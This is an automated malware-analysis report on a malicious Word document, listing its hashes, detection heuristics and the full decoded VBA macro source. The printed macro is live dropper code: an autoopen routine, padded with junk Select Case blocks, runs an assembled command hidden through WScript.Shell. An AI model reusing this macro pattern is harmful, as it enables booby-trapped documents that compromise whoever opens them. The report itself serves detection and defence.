Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea4e6d4454319c52…

MALICIOUS

Office (OLE)

127.1 KB Created: 2019-01-13 23:11:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: b82d247998b2df3676ce504d34a5dda1 SHA-1: 79cb2f29d4caabbfe2c5ccc8b1781b14a6af8ad7 SHA-256: ea4e6d4454319c522042c0f29719f5588dd0160a03cb08b7eafa3b346c1a87d2
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of VBA code that utilizes 'WScript.Shell' to run commands. This strongly suggests the document is a downloader or dropper, intended to execute a second-stage payload from a remote source.

Heuristics 9

  • ClamAV: Doc.Malware.Olemal-6814506-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Olemal-6814506-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
    Lt1b = Array(Rwsd, Wo1z, Xp29, CreateObject("wscript.shell").Run(("" + Xa7zbd + R774shq + B44ra.TextBox1) + Nuiv0nbo + Drrlsh + Dmkwzzo4 + O8fhr3wl + Zbhtzd, 22 - 22), Swki, Vw8a9, Jzn9)
       Select Case Whsvb
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
    Lt1b = Array(Rwsd, Wo1z, Xp29, CreateObject("wscript.shell").Run(("" + Xa7zbd + R774shq + B44ra.TextBox1) + Nuiv0nbo + Drrlsh + Dmkwzzo4 + O8fhr3wl + Zbhtzd, 22 - 22), Swki, Vw8a9, Jzn9)
       Select Case Whsvb
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    Hnnh = Chp7c - Tziz
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3293 bytes
SHA-256: 4da5cb5af2bd2e73068efaac981ae02be8e49021f3803baf5bf5ffba7737346d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B44ra"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
Hnnh = Chp7c - Tziz
Tnj4v = Bjptm - L066
Xhnk = G5is6 - Jpwcm
Asdr = Nl7r - L80z7
N32a = Aifl - Q84z
Lkqw
Hn79d = Llz3d - Mnai8
G7wbc = Adw7 - Xd4s
Ek4ot = Cj48 - Bwrbl
Otsw = H69zt - K1pa
Ohpf = Vw4f8 - Fwh7
End Sub

Attribute VB_Name = "Qit0z"
Function Lkqw()
On Error Resume Next
   Select Case Nzmi
         Case 846
            Pz6f = CDate(X5sw)
            Vtaw = Szw6a
            Ssupn = Sgn(U7q6)
         Case 8
            Czl5r = 26
            Ziwiu = CDbl(122)
            Xus3n = Sin(O3w7)
         Case 302
            Sncm6 = Fix(V96w)
            O6zba = Round(479)
            H1ksc = John2
      End Select
Lt1b = Array(Rwsd, Wo1z, Xp29, CreateObject("wscript.shell").Run(("" + Xa7zbd + R774shq + B44ra.TextBox1) + Nuiv0nbo + Drrlsh + Dmkwzzo4 + O8fhr3wl + Zbhtzd, 22 - 22), Swki, Vw8a9, Jzn9)
   Select Case Whsvb
         Case 260
            Icwqz = CDate(Cklb)
            Uspr = Juzi8
            Dad2 = Sgn(Omz17)
         Case 57
            Xr4i = 296
            Vdn3 = CDbl(935)
            Sw5qj = Sin(Irq9)
         Case 214
            Jz6iz = Fix(Izqot)
            Rwjv = Round(693)
            L2cjc = Lwhzt
      End Select
   Select Case Oovr
         Case 798
            Nzjw = CDate(R7i6o)
            Saw0i = Mqw7i
            Pwhpd = Sgn(S3d4j)
         Case 92
            Us8jz = 778
            Tz55w = CDbl(860)
            Ei2v = Sin(Z4vzi)
         Case 950
            Rflll = Fix(Vblqa)
            Zio3 = Round(656)
            Itikj = I8n4t
      End Select
   Select Case Hurf
         Case 729
            X864 = CDate(Azod)
            J3jt = Pr5ii
            Bwi8u = Sgn(Xa265)
         Case 857
            K4sa4 = 250
            E0sph = CDbl(283)
            Tp4n = Sin(Fdu0)
         Case 767
            O12ic = Fix(F8vf)
            Vj26w = Round(680)
            Dopjm = Pzi5
      End Select
End Function


Attribute VB_Name = "Nf2dw"

Attribute VB_Name = "Zqz7"

Attribute VB_Name = "C3hj"

Attribute VB_Name = "V6awk"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "A7c7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Eh8w"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False